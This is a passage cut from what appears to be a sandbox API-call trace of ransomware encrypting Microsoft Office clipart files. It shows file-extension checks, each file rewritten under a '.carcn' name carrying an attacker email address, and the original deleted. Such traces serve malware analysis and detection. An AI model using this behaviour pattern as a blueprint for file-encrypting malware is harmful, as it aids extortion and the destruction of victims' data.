returned 5 [0304.377] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0304.377] lstrlenW (lpString=".pdf") returned 4 [0304.377] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0304.377] lstrlenW (lpString=".xls") returned 4 [0304.377] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0304.377] lstrlenW (lpString=".xlsx") returned 5 [0304.377] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0304.377] lstrlenW (lpString=".ppt") returned 4 [0304.377] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0304.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0304.377] lstrlenW (lpString=".zip") returned 4 [0304.377] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0304.377] lstrlenW (lpString=".rar") returned 4 [0304.377] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0304.377] lstrlenW (lpString=".bz2") returned 4 [0304.377] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0304.377] lstrlenW (lpString=".7z") returned 3 [0304.377] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0304.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0304.377] lstrlenW (lpString=".dbf") returned 4 [0304.377] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0304.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0304.377] lstrlenW (lpString=".1cd") returned 4 [0304.377] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0304.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0304.377] lstrlenW (lpString=".jpg") returned 4 [0304.378] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0304.395] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.395] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0304.396] GetLastError () returned 0x0 [0304.396] ReadFile (in: hFile=0x384, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x5ee4, lpOverlapped=0x0) returned 1 [0304.430] WriteFile (in: hFile=0x380, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x5ef0, lpOverlapped=0x0) returned 1 [0304.433] ReadFile (in: hFile=0x384, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.433] WriteFile (in: hFile=0x380, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0304.433] SetEndOfFile (hFile=0x380) returned 1 [0304.938] CloseHandle (hObject=0x380) returned 1 [0304.938] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.938] SetEndOfFile (hFile=0x384) returned 1 [0304.939] CloseHandle (hObject=0x384) returned 1 [0304.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 1 [0304.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0304.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0304.940] lstrlenW (lpString=".doc") returned 4 [0304.940] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0304.940] lstrlenW (lpString=".docx") returned 5 [0304.940] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0304.940] lstrlenW (lpString=".pdf") returned 4 [0304.940] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0304.941] lstrlenW (lpString=".xls") returned 4 [0304.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0304.941] lstrlenW (lpString=".xlsx") returned 5 [0304.941] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0304.941] lstrlenW (lpString=".ppt") returned 4 [0304.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0304.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0304.941] lstrlenW (lpString=".zip") returned 4 [0304.941] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0304.941] lstrlenW (lpString=".rar") returned 4 [0304.941] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0304.941] lstrlenW (lpString=".bz2") returned 4 [0304.941] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0304.941] lstrlenW (lpString=".7z") returned 3 [0304.941] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0304.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0304.941] lstrlenW (lpString=".dbf") returned 4 [0304.941] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0304.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0304.941] lstrlenW (lpString=".1cd") returned 4 [0304.941] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0304.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0304.941] lstrlenW (lpString=".jpg") returned 4 [0304.941] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0304.942] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.942] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0304.943] GetLastError () returned 0x0 [0304.943] ReadFile (in: hFile=0x384, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x9114, lpOverlapped=0x0) returned 1 [0304.955] WriteFile (in: hFile=0x380, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x9120, lpOverlapped=0x0) returned 1 [0304.956] ReadFile (in: hFile=0x384, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.956] WriteFile (in: hFile=0x380, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0304.956] SetEndOfFile (hFile=0x380) returned 1 [0304.957] CloseHandle (hObject=0x380) returned 1 [0304.957] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.957] SetEndOfFile (hFile=0x384) returned 1 [0304.958] CloseHandle (hObject=0x384) returned 1 [0304.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 1 [0304.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0304.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0304.959] lstrlenW (lpString=".doc") returned 4 [0304.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0304.959] lstrlenW (lpString=".docx") returned 5 [0304.959] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0304.959] lstrlenW (lpString=".pdf") returned 4 [0304.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0304.959] lstrlenW (lpString=".xls") returned 4 [0304.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0304.959] lstrlenW (lpString=".xlsx") returned 5 [0304.959] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0304.960] lstrlenW (lpString=".ppt") returned 4 [0304.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0304.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0304.960] lstrlenW (lpString=".zip") returned 4 [0304.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0304.960] lstrlenW (lpString=".rar") returned 4 [0304.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0304.960] lstrlenW (lpString=".bz2") returned 4 [0304.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0304.960] lstrlenW (lpString=".7z") returned 3 [0304.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0304.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0304.960] lstrlenW (lpString=".dbf") returned 4 [0304.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0304.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0304.960] lstrlenW (lpString=".1cd") returned 4 [0304.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0304.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0304.960] lstrlenW (lpString=".jpg") returned 4 [0304.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0304.961] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.961] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0304.962] GetLastError () returned 0x0 [0304.962] ReadFile (in: hFile=0x384, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x1846, lpOverlapped=0x0) returned 1 [0304.992] WriteFile (in: hFile=0x380, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1850, lpOverlapped=0x0) returned 1 [0304.993] ReadFile (in: hFile=0x384, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.994] WriteFile (in: hFile=0x380, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0304.994] SetEndOfFile (hFile=0x380) returned 1 [0304.994] CloseHandle (hObject=0x380) returned 1 [0304.994] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.994] SetEndOfFile (hFile=0x384) returned 1 [0304.995] CloseHandle (hObject=0x384) returned 1 [0304.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 1 [0304.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0304.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0304.998] lstrlenW (lpString=".doc") returned 4 [0304.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0304.998] lstrlenW (lpString=".docx") returned 5 [0304.998] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0304.998] lstrlenW (lpString=".pdf") returned 4 [0304.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0304.998] lstrlenW (lpString=".xls") returned 4 [0304.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0304.998] lstrlenW (lpString=".xlsx") returned 5 [0304.998] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0304.998] lstrlenW (lpString=".ppt") returned 4 [0304.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0304.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0304.998] lstrlenW (lpString=".zip") returned 4 [0304.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0304.998] lstrlenW (lpString=".rar") returned 4 [0304.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0304.998] lstrlenW (lpString=".bz2") returned 4 [0304.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0304.998] lstrlenW (lpString=".7z") returned 3 [0304.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0304.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0304.999] lstrlenW (lpString=".dbf") returned 4 [0304.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0304.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0304.999] lstrlenW (lpString=".1cd") returned 4 [0304.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0304.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0304.999] lstrlenW (lpString=".jpg") returned 4 [0304.999] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.011] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.011] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0305.012] GetLastError () returned 0x0 [0305.012] ReadFile (in: hFile=0x364, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x2610, lpOverlapped=0x0) returned 1 [0305.019] WriteFile (in: hFile=0x384, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x2620, lpOverlapped=0x0) returned 1 [0305.020] ReadFile (in: hFile=0x364, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.020] WriteFile (in: hFile=0x384, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.021] SetEndOfFile (hFile=0x384) returned 1 [0305.021] CloseHandle (hObject=0x384) returned 1 [0305.021] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.021] SetEndOfFile (hFile=0x364) returned 1 [0305.022] CloseHandle (hObject=0x364) returned 1 [0305.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 1 [0305.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0305.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0305.024] lstrlenW (lpString=".doc") returned 4 [0305.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.024] lstrlenW (lpString=".docx") returned 5 [0305.024] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0305.024] lstrlenW (lpString=".pdf") returned 4 [0305.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.024] lstrlenW (lpString=".xls") returned 4 [0305.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.024] lstrlenW (lpString=".xlsx") returned 5 [0305.024] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0305.024] lstrlenW (lpString=".ppt") returned 4 [0305.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0305.024] lstrlenW (lpString=".zip") returned 4 [0305.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.024] lstrlenW (lpString=".rar") returned 4 [0305.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.024] lstrlenW (lpString=".bz2") returned 4 [0305.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.024] lstrlenW (lpString=".7z") returned 3 [0305.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0305.024] lstrlenW (lpString=".dbf") returned 4 [0305.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0305.024] lstrlenW (lpString=".1cd") returned 4 [0305.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0305.025] lstrlenW (lpString=".jpg") returned 4 [0305.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.025] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.025] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0305.026] GetLastError () returned 0x0 [0305.026] ReadFile (in: hFile=0x364, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0305.036] WriteFile (in: hFile=0x384, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0305.037] ReadFile (in: hFile=0x364, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.037] WriteFile (in: hFile=0x384, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.037] SetEndOfFile (hFile=0x384) returned 1 [0305.038] CloseHandle (hObject=0x384) returned 1 [0305.038] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.038] SetEndOfFile (hFile=0x364) returned 1 [0305.145] CloseHandle (hObject=0x364) returned 1 [0305.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.145] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 1 [0305.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0305.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0305.146] lstrlenW (lpString=".doc") returned 4 [0305.146] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.146] lstrlenW (lpString=".docx") returned 5 [0305.146] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0305.146] lstrlenW (lpString=".pdf") returned 4 [0305.146] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.146] lstrlenW (lpString=".xls") returned 4 [0305.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.146] lstrlenW (lpString=".xlsx") returned 5 [0305.146] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0305.146] lstrlenW (lpString=".ppt") returned 4 [0305.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0305.146] lstrlenW (lpString=".zip") returned 4 [0305.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.146] lstrlenW (lpString=".rar") returned 4 [0305.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.146] lstrlenW (lpString=".bz2") returned 4 [0305.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.146] lstrlenW (lpString=".7z") returned 3 [0305.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0305.146] lstrlenW (lpString=".dbf") returned 4 [0305.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0305.147] lstrlenW (lpString=".1cd") returned 4 [0305.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0305.147] lstrlenW (lpString=".jpg") returned 4 [0305.147] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.148] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.148] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 